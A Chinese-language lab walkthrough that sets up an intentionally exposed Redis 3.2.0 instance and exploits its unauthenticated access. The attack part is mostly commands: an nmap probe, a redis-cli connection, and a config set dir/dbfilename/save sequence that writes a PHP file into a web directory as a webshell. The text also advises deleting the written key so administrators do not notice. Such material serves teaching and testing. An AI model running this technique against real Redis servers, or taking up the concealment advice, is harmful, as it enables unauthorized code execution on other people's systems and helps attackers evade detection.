本地漏洞环境搭建
1 | wget http://download.redis.io/releases/redis-3.2.0.tar.gz |
2 | tar xzf redis-3.2.0.tar.gz |
3 | cd redis-3.2.0 |
4 | make |
修改配置文件为可以远程访问
1 | gedit redis.conf |
把bind 127.0.0.1前面加上#注释掉
把protected-mode设为no

启动redis
1 | ./src/redis-server redis.conf |
环境介绍
靶机IP:192.168.31.131
攻击IP:192.168.31.129
攻击过程
探测目标机是否有redis
1 | nmap 192.168.31.131 -A -p 6379 –script redis-info |

探测出有redis服务,使用如下命令连接,查看是否存在未授权
1 | redis-cli -h 靶机IP |

连接成功,那么我们使用redis来进行反弹shell
写入文件
假设我靶机存在这么一个目录是web目录,且是php脚本,那么我们可以使用如下命令来进行写入shell(前提是知道目标机的网站目录的绝对路径)

然后使用redis对其目录写入phpinfo()
1 | 192.168.31.131:6379> config set dir /root/web |
2 | OK |
3 | 192.168.31.131:6379> config set dbfilename shell.php |
4 | OK |
5 | 192.168.31.131:6379> set x "<?php phpinfo();?>" |
6 | OK |
7 | 192.168.31.131:6379> save |
8 | OK |

然后就会在靶机的/root/web目录下写入shell.php

但是我们利用redis写入的shell是会加入很多其他数据的,如图

但是php是具有容错性的,哪怕这样也是可以执行phpinfo()

成功写入shell后,如果不想被管理员发现,除了将木马写隐蔽和免杀外还要将你写入的key删除,比如我上面是用set x "<?php phpinfo();?>",那么我要将x变量删除

注意:如果这里是实战环境,最好不要执行keys *命令,因为如果他们设置的key很多很多,几十万几百万条的话查看key数据可能会把服务器的cpu直接跑满,严重的说机器会直接崩溃,那么我们只要记住写入的key名,然后写完shell后将其del即可,因为这里是我演示的,所以才进行这个错误的示范
其实
redis不仅可以写入webshell还可以反弹shell,但是我一般需求就是获取webshell即可,但是如果目标系统对写入的shell解析有问题,那么我们就不得不反弹shell了(网上有很多这类文章,不写了,一样的)